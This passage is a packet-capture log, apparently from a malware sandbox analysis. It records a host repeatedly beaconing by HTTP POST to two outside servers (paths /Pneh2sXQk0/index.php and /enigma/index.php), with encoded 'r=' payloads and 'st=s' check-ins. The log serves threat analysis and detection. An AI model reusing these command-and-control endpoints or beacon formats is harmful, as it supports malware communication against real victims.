Apr 19, 2024 03:35:38.979229927 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:39.228060007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.5	51089	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:39.240979910 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:39.486638069 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.5	51090	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:39.565763950 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:39.806438923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.5	51091	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:39.739773035 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:39.988127947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.5	51092	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:40.054984093 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:40.298554897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.5	51093	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:40.339138985 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:40.590775967 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.5	51094	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:40.641285896 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:40.879576921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.5	51095	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:40.844264030 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:41.097969055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.5	51096	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:41.132138968 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:41.384892941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.5	51097	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:41.444936037 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:41.689177990 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.5	51098	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:41.718980074 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:41.957983017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.5	51099	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:41.940107107 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:42.188263893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.5	51100	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:42.201462984 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:42.446005106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.5	51101	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:42.541807890 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:42.783881903 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.5	51102	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:42.793826103 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:43.045520067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.5	51103	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:43.036031008 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:43.289499044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.5	51104	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:43.298332930 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:43.551084042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1251	192.168.2.5	51105	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:43.650918007 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:43.895411015 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1252	192.168.2.5	51106	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:43.903001070 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:44.154500961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1253	192.168.2.5	51107	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:44.151081085 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:44.402163982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1254	192.168.2.5	51108	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:44.409887075 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:44.665391922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1255	192.168.2.5	51109	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:44.756921053 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:45.001890898 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1256	192.168.2.5	51110	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:45.011492968 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:45.260732889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1257	192.168.2.5	51111	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:45.250804901 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:45.499672890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1258	192.168.2.5	51112	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
